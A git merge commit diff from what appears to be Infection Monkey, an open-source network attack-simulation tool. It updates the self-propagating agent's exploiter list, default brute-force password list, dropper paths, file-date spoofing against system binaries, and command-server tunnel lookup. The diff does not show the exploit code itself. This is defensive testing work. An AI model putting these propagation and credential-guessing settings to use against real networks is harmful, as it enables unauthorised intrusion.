Merge branch 'develop' into nadler/pth
# Conflicts: # infection_monkey/requirements.txt # monkey_island/cc/app.py # monkey_island/cc/resources/telemetry.py # monkey_island/cc/ui/src/components/pages/ReportPage.js
This commit is contained in:
commit
f97df84da9
|
@ -0,0 +1,23 @@
|
||||||
|
---
|
||||||
|
name: Bug report
|
||||||
|
about: Create a report to help us fix things!
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Describe the bug**
|
||||||
|
A clear and concise description of what the bug is.
|
||||||
|
|
||||||
|
**To Reproduce**
|
||||||
|
Steps to reproduce the behavior:
|
||||||
|
1. Configure the Monkey with X settings
|
||||||
|
2. Run the monkey on specific machine
|
||||||
|
3. See error
|
||||||
|
|
||||||
|
**Expected behavior**
|
||||||
|
A description of what you expected to happen.
|
||||||
|
|
||||||
|
**Screenshots**
|
||||||
|
If applicable, add screenshots to help explain your problem.
|
||||||
|
|
||||||
|
**Machine version(please complete the following information):**
|
||||||
|
- OS: Windows or Linux
|
|
@ -0,0 +1,27 @@
|
||||||
|
group: travis_latest
|
||||||
|
language: python
|
||||||
|
cache: pip
|
||||||
|
python:
|
||||||
|
- 2.7
|
||||||
|
- 3.6
|
||||||
|
#- nightly
|
||||||
|
#- pypy
|
||||||
|
#- pypy3
|
||||||
|
matrix:
|
||||||
|
allow_failures:
|
||||||
|
- python: nightly
|
||||||
|
- python: pypy
|
||||||
|
- python: pypy3
|
||||||
|
install:
|
||||||
|
#- pip install -r requirements.txt
|
||||||
|
- pip install flake8 # pytest # add another testing frameworks later
|
||||||
|
before_script:
|
||||||
|
# stop the build if there are Python syntax errors or undefined names
|
||||||
|
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
|
||||||
|
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
|
||||||
|
- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
|
||||||
|
script:
|
||||||
|
- true # pytest --capture=sys # add other tests here
|
||||||
|
notifications:
|
||||||
|
on_success: change
|
||||||
|
on_failure: change # `always` will be the setting once code changes slow down
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
|
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
|
||||||
|
|
||||||
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
|
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
|
||||||
Please try to be as specific as you can about your problem; try to include steps
|
Please try to be as specific as you can about your problem; try to include steps
|
||||||
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
|
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
|
||||||
|
|
||||||
|
@ -20,7 +20,7 @@ The following is a *short* list of recommendations. PRs that don't match these c
|
||||||
* **Don't** leave your pull request description blank.
|
* **Don't** leave your pull request description blank.
|
||||||
* **Do** license your code as GPLv3.
|
* **Do** license your code as GPLv3.
|
||||||
|
|
||||||
|
Also, please submit PRs to the develop branch.
|
||||||
|
|
||||||
## Issues
|
## Issues
|
||||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||||
|
|
|
@ -50,6 +50,6 @@ and follow the instructions at the readme files under [infection_monkey](infecti
|
||||||
|
|
||||||
License
|
License
|
||||||
=======
|
=======
|
||||||
Copyright (c) 2017 Guardicore Ltd
|
Copyright (c) Guardicore Ltd
|
||||||
|
|
||||||
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
|
See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
|
@ -0,0 +1 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
|
@ -0,0 +1,123 @@
|
||||||
|
import random
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
|
from six import text_type
|
||||||
|
|
||||||
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
||||||
|
class NetworkRange(object):
|
||||||
|
__metaclass__ = ABCMeta
|
||||||
|
|
||||||
|
def __init__(self, shuffle=True):
|
||||||
|
self._shuffle = shuffle
|
||||||
|
|
||||||
|
def get_range(self):
|
||||||
|
"""
|
||||||
|
:return: Returns a sequence of IPs in an internal format (might be numbers)
|
||||||
|
"""
|
||||||
|
return self._get_range()
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
"""
|
||||||
|
Iterator of ip addresses (strings) from the current range.
|
||||||
|
Use get_range if you want it in one go.
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
base_range = self.get_range()
|
||||||
|
if self._shuffle:
|
||||||
|
random.shuffle(base_range)
|
||||||
|
|
||||||
|
for x in base_range:
|
||||||
|
yield self._number_to_ip(x)
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def is_in_range(self, ip_address):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def _get_range(self):
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_range_obj(address_str):
|
||||||
|
address_str = address_str.strip()
|
||||||
|
if not address_str: # Empty string
|
||||||
|
return None
|
||||||
|
if -1 != address_str.find('-'):
|
||||||
|
return IpRange(ip_range=address_str)
|
||||||
|
if -1 != address_str.find('/'):
|
||||||
|
return CidrRange(cidr_range=address_str)
|
||||||
|
return SingleIpRange(ip_address=address_str)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _ip_to_number(address):
|
||||||
|
return struct.unpack(">L", socket.inet_aton(address))[0]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _number_to_ip(num):
|
||||||
|
return socket.inet_ntoa(struct.pack(">L", num))
|
||||||
|
|
||||||
|
|
||||||
|
class CidrRange(NetworkRange):
|
||||||
|
def __init__(self, cidr_range, shuffle=True):
|
||||||
|
super(CidrRange, self).__init__(shuffle=shuffle)
|
||||||
|
self._cidr_range = cidr_range.strip()
|
||||||
|
self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False)
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return "<CidrRange %s>" % (self._cidr_range,)
|
||||||
|
|
||||||
|
def is_in_range(self, ip_address):
|
||||||
|
return ipaddress.ip_address(ip_address) in self._ip_network
|
||||||
|
|
||||||
|
def _get_range(self):
|
||||||
|
return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address]
|
||||||
|
|
||||||
|
|
||||||
|
class IpRange(NetworkRange):
|
||||||
|
def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True):
|
||||||
|
super(IpRange, self).__init__(shuffle=shuffle)
|
||||||
|
if ip_range is not None:
|
||||||
|
addresses = ip_range.split('-')
|
||||||
|
if len(addresses) != 2:
|
||||||
|
raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range)
|
||||||
|
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
|
||||||
|
elif (lower_end_ip is not None) and (higher_end_ip is not None):
|
||||||
|
self._lower_end_ip = lower_end_ip.strip()
|
||||||
|
self._higher_end_ip = higher_end_ip.strip()
|
||||||
|
else:
|
||||||
|
raise ValueError('Illegal IP range: %s' % ip_range)
|
||||||
|
|
||||||
|
self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip)
|
||||||
|
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
|
||||||
|
if self._higher_end_ip_num < self._lower_end_ip_num:
|
||||||
|
raise ValueError(
|
||||||
|
'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip))
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return "<IpRange %s-%s>" % (self._lower_end_ip, self._higher_end_ip)
|
||||||
|
|
||||||
|
def is_in_range(self, ip_address):
|
||||||
|
return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num
|
||||||
|
|
||||||
|
def _get_range(self):
|
||||||
|
return range(self._lower_end_ip_num, self._higher_end_ip_num + 1)
|
||||||
|
|
||||||
|
|
||||||
|
class SingleIpRange(NetworkRange):
|
||||||
|
def __init__(self, ip_address, shuffle=True):
|
||||||
|
super(SingleIpRange, self).__init__(shuffle=shuffle)
|
||||||
|
self._ip_address = ip_address
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return "<SingleIpRange %s>" % (self._ip_address,)
|
||||||
|
|
||||||
|
def is_in_range(self, ip_address):
|
||||||
|
return self._ip_address == ip_address
|
||||||
|
|
||||||
|
def _get_range(self):
|
||||||
|
return [SingleIpRange._ip_to_number(self._ip_address)]
|
|
@ -0,0 +1,19 @@
|
||||||
|
FROM debian:jessie-slim
|
||||||
|
|
||||||
|
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz .
|
||||||
|
|
||||||
|
RUN tar xvf infection_monkey_1.5.2_deb.tgz \
|
||||||
|
&& apt-get -yqq update \
|
||||||
|
&& apt-get -yqq upgrade \
|
||||||
|
&& apt-get -yqq install python-pip \
|
||||||
|
libssl-dev \
|
||||||
|
supervisor \
|
||||||
|
&& dpkg -i *.deb
|
||||||
|
|
||||||
|
COPY stack.conf /etc/supervisor/conf.d/stack.conf
|
||||||
|
|
||||||
|
ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ]
|
|
@ -0,0 +1,11 @@
|
||||||
|
# Improvements needed
|
||||||
|
|
||||||
|
* Remove embedded mongodb from .deb, it forbids installation on a `debian:stretch` distro.
|
||||||
|
* Package monkey for system's python usage.
|
||||||
|
* Fix package number: (I installed the 1.5.2)
|
||||||
|
```
|
||||||
|
ii gc-monkey-island 1.0 amd64 Guardicore Infection Monkey Island installation package
|
||||||
|
```
|
||||||
|
* Use .deb dependencies for mongodb setup?
|
||||||
|
* Use docker-compose for stack construction.
|
||||||
|
* Remove the .sh script from the systemd unit file (`/var/monkey_island/ubuntu/systemd/start_server.sh`) which only does a `cd && localpython run`
|
|
@ -0,0 +1,4 @@
|
||||||
|
[program:mongod]
|
||||||
|
command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db
|
||||||
|
[program:monkey]
|
||||||
|
command=/var/monkey_island/ubuntu/systemd/start_server.sh
|
|
@ -1,4 +1,5 @@
|
||||||
import os
|
import os
|
||||||
|
import struct
|
||||||
import sys
|
import sys
|
||||||
import types
|
import types
|
||||||
import uuid
|
import uuid
|
||||||
|
@ -6,9 +7,9 @@ from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
||||||
SambaCryExploiter, ElasticGroovyExploiter
|
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
|
||||||
from network.range import FixedRange
|
MSSQLFinger
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -40,7 +41,7 @@ def _cast_by_example(value, example):
|
||||||
return int(value)
|
return int(value)
|
||||||
elif example_type is float:
|
elif example_type is float:
|
||||||
return float(value)
|
return float(value)
|
||||||
elif example_type is types.ClassType or example_type is ABCMeta:
|
elif example_type in (type, ABCMeta):
|
||||||
return globals()[value]
|
return globals()[value]
|
||||||
else:
|
else:
|
||||||
return None
|
return None
|
||||||
|
@ -84,10 +85,10 @@ class Configuration(object):
|
||||||
if val_type is types.FunctionType or val_type is types.MethodType:
|
if val_type is types.FunctionType or val_type is types.MethodType:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if val_type is types.ClassType or val_type is ABCMeta:
|
if val_type in (type, ABCMeta):
|
||||||
value = value.__name__
|
value = value.__name__
|
||||||
elif val_type is tuple or val_type is list:
|
elif val_type is tuple or val_type is list:
|
||||||
if len(value) != 0 and (type(value[0]) is types.ClassType or type(value[0]) is ABCMeta):
|
if len(value) != 0 and type(value[0]) in (type, ABCMeta):
|
||||||
value = val_type([x.__name__ for x in value])
|
value = val_type([x.__name__ for x in value])
|
||||||
|
|
||||||
result[key] = value
|
result[key] = value
|
||||||
|
@ -116,7 +117,8 @@ class Configuration(object):
|
||||||
dropper_set_date = True
|
dropper_set_date = True
|
||||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||||
dropper_date_reference_path_linux = '/bin/sh'
|
dropper_date_reference_path_linux = '/bin/sh'
|
||||||
dropper_target_path = r"C:\Windows\monkey.exe"
|
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
|
||||||
|
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
|
||||||
dropper_target_path_linux = '/tmp/monkey'
|
dropper_target_path_linux = '/tmp/monkey'
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
|
@ -144,10 +146,10 @@ class Configuration(object):
|
||||||
max_iterations = 1
|
max_iterations = 1
|
||||||
|
|
||||||
scanner_class = TcpScanner
|
scanner_class = TcpScanner
|
||||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
|
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
|
||||||
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
||||||
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
||||||
ElasticGroovyExploiter, # multi
|
ElasticGroovyExploiter, Struts2Exploiter # multi
|
||||||
]
|
]
|
||||||
|
|
||||||
# how many victims to look for in a single scan iteration
|
# how many victims to look for in a single scan iteration
|
||||||
|
@ -162,7 +164,7 @@ class Configuration(object):
|
||||||
|
|
||||||
# Configuration servers to try to connect to, in this order.
|
# Configuration servers to try to connect to, in this order.
|
||||||
command_servers = [
|
command_servers = [
|
||||||
"41.50.73.31:5000"
|
"192.0.2.0:5000"
|
||||||
]
|
]
|
||||||
|
|
||||||
# sets whether or not to locally save the running configuration after finishing
|
# sets whether or not to locally save the running configuration after finishing
|
||||||
|
@ -183,10 +185,9 @@ class Configuration(object):
|
||||||
# Auto detect and scan local subnets
|
# Auto detect and scan local subnets
|
||||||
local_network_scan = True
|
local_network_scan = True
|
||||||
|
|
||||||
range_class = FixedRange
|
subnet_scan_list = []
|
||||||
range_fixed = ['', ]
|
|
||||||
|
|
||||||
blocked_ips = ['', ]
|
blocked_ips = []
|
||||||
|
|
||||||
# TCP Scanner
|
# TCP Scanner
|
||||||
HTTP_PORTS = [80, 8080, 443,
|
HTTP_PORTS = [80, 8080, 443,
|
||||||
|
@ -233,6 +234,12 @@ class Configuration(object):
|
||||||
"""
|
"""
|
||||||
return product(self.exploit_user_list, self.exploit_password_list)
|
return product(self.exploit_user_list, self.exploit_password_list)
|
||||||
|
|
||||||
|
def get_exploit_user_ssh_key_pairs(self):
|
||||||
|
"""
|
||||||
|
:return: All combinations of the configurations users and ssh pairs
|
||||||
|
"""
|
||||||
|
return product(self.exploit_user_list, self.exploit_ssh_keys)
|
||||||
|
|
||||||
def get_exploit_user_password_or_hash_product(self):
|
def get_exploit_user_password_or_hash_product(self):
|
||||||
"""
|
"""
|
||||||
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
|
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
|
||||||
|
@ -251,6 +258,7 @@ class Configuration(object):
|
||||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||||
exploit_lm_hash_list = []
|
exploit_lm_hash_list = []
|
||||||
exploit_ntlm_hash_list = []
|
exploit_ntlm_hash_list = []
|
||||||
|
exploit_ssh_keys = []
|
||||||
|
|
||||||
# smb/wmi exploiter
|
# smb/wmi exploiter
|
||||||
smb_download_timeout = 300 # timeout in seconds
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
|
|
|
@ -4,6 +4,7 @@ import platform
|
||||||
from socket import gethostname
|
from socket import gethostname
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
from requests.exceptions import ConnectionError
|
||||||
|
|
||||||
import monkeyfs
|
import monkeyfs
|
||||||
import tunnel
|
import tunnel
|
||||||
|
@ -24,10 +25,10 @@ class ControlClient(object):
|
||||||
proxies = {}
|
proxies = {}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def wakeup(parent=None, default_tunnel=None, has_internet_access=None):
|
def wakeup(parent=None, has_internet_access=None):
|
||||||
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
|
if parent:
|
||||||
if parent or default_tunnel:
|
LOG.debug("parent: %s" % (parent,))
|
||||||
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
|
|
||||||
hostname = gethostname()
|
hostname = gethostname()
|
||||||
if not parent:
|
if not parent:
|
||||||
parent = GUID
|
parent = GUID
|
||||||
|
@ -35,48 +36,66 @@ class ControlClient(object):
|
||||||
if has_internet_access is None:
|
if has_internet_access is None:
|
||||||
has_internet_access = check_internet_access(WormConfiguration.internet_services)
|
has_internet_access = check_internet_access(WormConfiguration.internet_services)
|
||||||
|
|
||||||
|
monkey = {'guid': GUID,
|
||||||
|
'hostname': hostname,
|
||||||
|
'ip_addresses': local_ips(),
|
||||||
|
'description': " ".join(platform.uname()),
|
||||||
|
'internet_access': has_internet_access,
|
||||||
|
'config': WormConfiguration.as_dict(),
|
||||||
|
'parent': parent}
|
||||||
|
|
||||||
|
if ControlClient.proxies:
|
||||||
|
monkey['tunnel'] = ControlClient.proxies.get('https')
|
||||||
|
|
||||||
|
requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
|
||||||
|
data=json.dumps(monkey),
|
||||||
|
headers={'content-type': 'application/json'},
|
||||||
|
verify=False,
|
||||||
|
proxies=ControlClient.proxies,
|
||||||
|
timeout=20)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def find_server(default_tunnel=None):
|
||||||
|
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
|
||||||
|
if default_tunnel:
|
||||||
|
LOG.debug("default_tunnel: %s" % (default_tunnel,))
|
||||||
|
|
||||||
|
current_server = ""
|
||||||
|
|
||||||
for server in WormConfiguration.command_servers:
|
for server in WormConfiguration.command_servers:
|
||||||
try:
|
try:
|
||||||
WormConfiguration.current_server = server
|
current_server = server
|
||||||
|
|
||||||
monkey = {'guid': GUID,
|
|
||||||
'hostname': hostname,
|
|
||||||
'ip_addresses': local_ips(),
|
|
||||||
'description': " ".join(platform.uname()),
|
|
||||||
'internet_access': has_internet_access,
|
|
||||||
'config': WormConfiguration.as_dict(),
|
|
||||||
'parent': parent}
|
|
||||||
|
|
||||||
if ControlClient.proxies:
|
|
||||||
monkey['tunnel'] = ControlClient.proxies.get('https')
|
|
||||||
|
|
||||||
debug_message = "Trying to connect to server: %s" % server
|
debug_message = "Trying to connect to server: %s" % server
|
||||||
if ControlClient.proxies:
|
if ControlClient.proxies:
|
||||||
debug_message += " through proxies: %s" % ControlClient.proxies
|
debug_message += " through proxies: %s" % ControlClient.proxies
|
||||||
LOG.debug(debug_message)
|
LOG.debug(debug_message)
|
||||||
reply = requests.post("https://%s/api/monkey" % (server,),
|
requests.get("https://%s/api?action=is-up" % (server,),
|
||||||
data=json.dumps(monkey),
|
verify=False,
|
||||||
headers={'content-type': 'application/json'},
|
proxies=ControlClient.proxies)
|
||||||
verify=False,
|
WormConfiguration.current_server = current_server
|
||||||
proxies=ControlClient.proxies,
|
|
||||||
timeout=20)
|
|
||||||
break
|
break
|
||||||
|
|
||||||
except Exception as exc:
|
except ConnectionError as exc:
|
||||||
WormConfiguration.current_server = ""
|
current_server = ""
|
||||||
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
||||||
|
|
||||||
if not WormConfiguration.current_server:
|
if current_server:
|
||||||
if not ControlClient.proxies:
|
return True
|
||||||
|
else:
|
||||||
|
if ControlClient.proxies:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
LOG.info("Starting tunnel lookup...")
|
LOG.info("Starting tunnel lookup...")
|
||||||
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
||||||
if proxy_find:
|
if proxy_find:
|
||||||
proxy_address, proxy_port = proxy_find
|
proxy_address, proxy_port = proxy_find
|
||||||
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
||||||
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
|
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
|
||||||
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access)
|
return ControlClient.find_server()
|
||||||
else:
|
else:
|
||||||
LOG.info("No tunnel found")
|
LOG.info("No tunnel found")
|
||||||
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def keepalive():
|
def keepalive():
|
||||||
|
@ -249,7 +268,6 @@ class ControlClient(object):
|
||||||
data=json.dumps(host_dict),
|
data=json.dumps(host_dict),
|
||||||
headers={'content-type': 'application/json'},
|
headers={'content-type': 'application/json'},
|
||||||
verify=False, proxies=ControlClient.proxies)
|
verify=False, proxies=ControlClient.proxies)
|
||||||
|
|
||||||
if 200 == reply.status_code:
|
if 200 == reply.status_code:
|
||||||
result_json = reply.json()
|
result_json = reply.json()
|
||||||
filename = result_json.get('filename')
|
filename = result_json.get('filename')
|
||||||
|
|
|
@ -9,6 +9,7 @@ import sys
|
||||||
import time
|
import time
|
||||||
from ctypes import c_char_p
|
from ctypes import c_char_p
|
||||||
|
|
||||||
|
import filecmp
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
from exploit.tools import build_monkey_commandline_explicitly
|
from exploit.tools import build_monkey_commandline_explicitly
|
||||||
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||||
|
@ -38,7 +39,7 @@ class MonkeyDrops(object):
|
||||||
arg_parser.add_argument('-p', '--parent')
|
arg_parser.add_argument('-p', '--parent')
|
||||||
arg_parser.add_argument('-t', '--tunnel')
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth')
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
arg_parser.add_argument('-l', '--location')
|
arg_parser.add_argument('-l', '--location')
|
||||||
self.monkey_args = args[1:]
|
self.monkey_args = args[1:]
|
||||||
self.opts, _ = arg_parser.parse_known_args(args)
|
self.opts, _ = arg_parser.parse_known_args(args)
|
||||||
|
@ -53,10 +54,16 @@ class MonkeyDrops(object):
|
||||||
|
|
||||||
if self._config['destination_path'] is None:
|
if self._config['destination_path'] is None:
|
||||||
LOG.error("No destination path specified")
|
LOG.error("No destination path specified")
|
||||||
return
|
return False
|
||||||
|
|
||||||
# we copy/move only in case path is different
|
# we copy/move only in case path is different
|
||||||
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
|
try:
|
||||||
|
file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path'])
|
||||||
|
except OSError:
|
||||||
|
file_moved = False
|
||||||
|
|
||||||
|
if not file_moved and os.path.exists(self._config['destination_path']):
|
||||||
|
os.remove(self._config['destination_path'])
|
||||||
|
|
||||||
# first try to move the file
|
# first try to move the file
|
||||||
if not file_moved and WormConfiguration.dropper_try_move_first:
|
if not file_moved and WormConfiguration.dropper_try_move_first:
|
||||||
|
@ -105,8 +112,8 @@ class MonkeyDrops(object):
|
||||||
except:
|
except:
|
||||||
LOG.warn("Cannot set reference date to destination file")
|
LOG.warn("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options = build_monkey_commandline_explicitly(
|
monkey_options =\
|
||||||
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
|
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
||||||
|
|
||||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||||
|
@ -130,22 +137,25 @@ class MonkeyDrops(object):
|
||||||
LOG.warn("Seems like monkey died too soon")
|
LOG.warn("Seems like monkey died too soon")
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
|
try:
|
||||||
os.path.exists(self._config['source_path']) and \
|
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
|
||||||
WormConfiguration.dropper_try_move_first:
|
os.path.exists(self._config['source_path']) and \
|
||||||
|
WormConfiguration.dropper_try_move_first:
|
||||||
|
|
||||||
# try removing the file first
|
# try removing the file first
|
||||||
try:
|
try:
|
||||||
os.remove(self._config['source_path'])
|
os.remove(self._config['source_path'])
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
|
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
|
||||||
|
|
||||||
# mark the file for removal on next boot
|
# mark the file for removal on next boot
|
||||||
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
|
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
|
||||||
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
|
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
|
||||||
MOVEFILE_DELAY_UNTIL_REBOOT):
|
MOVEFILE_DELAY_UNTIL_REBOOT):
|
||||||
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
|
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
|
||||||
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
|
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
|
||||||
else:
|
else:
|
||||||
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
||||||
self._config['source_path'])
|
self._config['source_path'])
|
||||||
|
except AttributeError:
|
||||||
|
LOG.error("Invalid configuration options. Failing")
|
||||||
|
|
|
@ -1,18 +1,17 @@
|
||||||
{
|
{
|
||||||
"command_servers": [
|
"command_servers": [
|
||||||
"41.50.73.31:5000"
|
"192.0.2.0:5000"
|
||||||
],
|
],
|
||||||
"internet_services": [
|
"internet_services": [
|
||||||
"monkey.guardicore.com",
|
"monkey.guardicore.com",
|
||||||
"www.google.com"
|
"www.google.com"
|
||||||
],
|
|
||||||
"keep_tunnel_open_time": 60,
|
|
||||||
"range_class": "RelativeRange",
|
|
||||||
"range_fixed": [
|
|
||||||
""
|
|
||||||
],
|
],
|
||||||
"blocked_ips": [""],
|
"keep_tunnel_open_time": 60,
|
||||||
"current_server": "41.50.73.31:5000",
|
"subnet_scan_list": [
|
||||||
|
|
||||||
|
],
|
||||||
|
"blocked_ips": [],
|
||||||
|
"current_server": "192.0.2.0:5000",
|
||||||
"alive": true,
|
"alive": true,
|
||||||
"collect_system_info": true,
|
"collect_system_info": true,
|
||||||
"extract_azure_creds": true,
|
"extract_azure_creds": true,
|
||||||
|
@ -23,7 +22,8 @@
|
||||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||||
"dropper_log_path_linux": "/tmp/user-1562",
|
"dropper_log_path_linux": "/tmp/user-1562",
|
||||||
"dropper_set_date": true,
|
"dropper_set_date": true,
|
||||||
"dropper_target_path": "C:\\Windows\\monkey.exe",
|
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
||||||
|
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
|
|
||||||
|
|
||||||
|
@ -37,14 +37,16 @@
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
|
"Struts2Exploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
